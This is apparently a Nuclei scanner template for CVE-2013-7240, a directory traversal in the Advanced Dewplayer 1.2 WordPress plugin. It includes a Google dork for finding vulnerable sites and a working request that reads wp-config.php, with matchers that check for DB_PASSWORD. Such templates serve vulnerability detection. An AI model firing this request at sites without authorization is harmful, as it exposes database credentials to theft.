id: CVE-2013-7240

info:
  name: WordPress Plugin Advanced Dewplayer 1.2 - Directory Traversal
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in download-file.php in the Advanced Dewplayer plugin 1.2 for WordPress allows remote attackers to read arbitrary files via a .. (dot dot) in the dew_file parameter.
  impact: |
    An attacker can exploit this vulnerability to access sensitive files, potentially leading to unauthorized disclosure of sensitive information.
  remediation: |
    Update to the latest version of the Advanced Dewplayer plugin or remove it if it is not actively used.
  reference:
    - https://www.exploit-db.com/exploits/38936
    - https://nvd.nist.gov/vuln/detail/CVE-2013-7240
    - https://wordpress.org/support/topic/security-vulnerability-cve-2013-7240-directory-traversal/
    - http://seclists.org/oss-sec/2013/q4/570
    - http://seclists.org/oss-sec/2013/q4/566
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2013-7240
    cwe-id: CWE-22
    epss-score: 0.41455
    epss-percentile: 0.97461
    cpe: cpe:2.3:a:westerndeal:advanced_dewplayer:1.2:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: westerndeal
    product: advanced_dewplayer
    google-query: inurl:"/wp-content/plugins/advanced-dewplayer/"
  tags: cve,cve2013,wp-plugin,lfi,edb,seclists,wordpress,westerndeal,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/advanced-dewplayer/admin-panel/download-file.php?dew_file=../../../../wp-config.php'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "DB_NAME"
          - "DB_PASSWORD"
          - "DB_HOST"
          - "The base configurations of the WordPress"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a0046304402204f3315a0f468e614e35d740d505d34649d536a028012baa94660e2b7d30c762b022005d9399b5ef26905789d12bc2b1b6eae3e0ed3158dde057ae8779023224e36ff:922c64590222798bb761d5b6d8e72950